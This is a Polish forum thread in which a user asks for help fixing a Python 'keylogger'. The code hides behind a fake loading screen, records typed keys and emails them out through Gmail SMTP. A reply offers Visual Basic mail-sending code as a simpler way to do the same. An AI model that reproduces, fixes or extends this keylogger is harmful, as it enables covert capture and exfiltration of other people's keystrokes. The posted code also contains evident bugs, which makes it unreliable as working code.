[Python] Błąd w kodzie Keyloggera

heeey! mam błąd w kodzie keyloggera, wszystko jest ok, tylko nie rozpoznaje importu pygame, a zainstalowałem pygame za pomocą pip

Piszę w pythonie sam nie wiem którym, ale na pewno Python3

Zainstalowałem pip i pygame za pomocą polecenia ze strony pygame i import mi się zepsuł

Kodzik:

 

import pygame
import sys
import smtplib

FROMADDR = "email"

TOADDR = "email"

MSG = ''

red = (255, 0, 0)
x_val = 0
keys = []
key_string = ""

pygame.init()

arial = pygame.font.SysFont("comcsansms, 48")
text = arial.render("Ladowanie", 1, red, None)
screen = pygame.display.set_mode((800, 600))

username = "email"
password = "password"

clock = pygame.time.Clock()

running = True

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        if event.type == pygame.KEYUP:
            name = pygame.key.name(event.key)
            if event.key == 13:
                key_string += '\n'
            elif event.key == 32:
                key_string += ''
            else:
                key_string += name

            MSG = key_string
    clock.tick(60)

    pygame.draw.rect(screen, red (0, 550, x_val, 20))
    x_val += 0.1
    screen.blit(text, (325,100))
    pygame.display.flip()

server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(FROMADDR, TOADDR, MSG)
sys.exit()

Powiedzcie mi co mam zrobić by to działało, czy może mam od nowa spróbować zainstalować pygame, czy co zrobić..

w języku Visual Basic masz prościej.. 
 

Imports System.Net.Mail
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress("email")
            MyMailMessage.To.Add("2ndemail")
            MyMailMessage.Subject = TextBox1.Text
            MyMailMessage.Body = TextBox2.Text
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("email", "haslo")
            SMTP.Send(MyMailMessage)
            TextBox2.Text = ""
        Catch ex As Exception
        End Try
    End Sub
End Class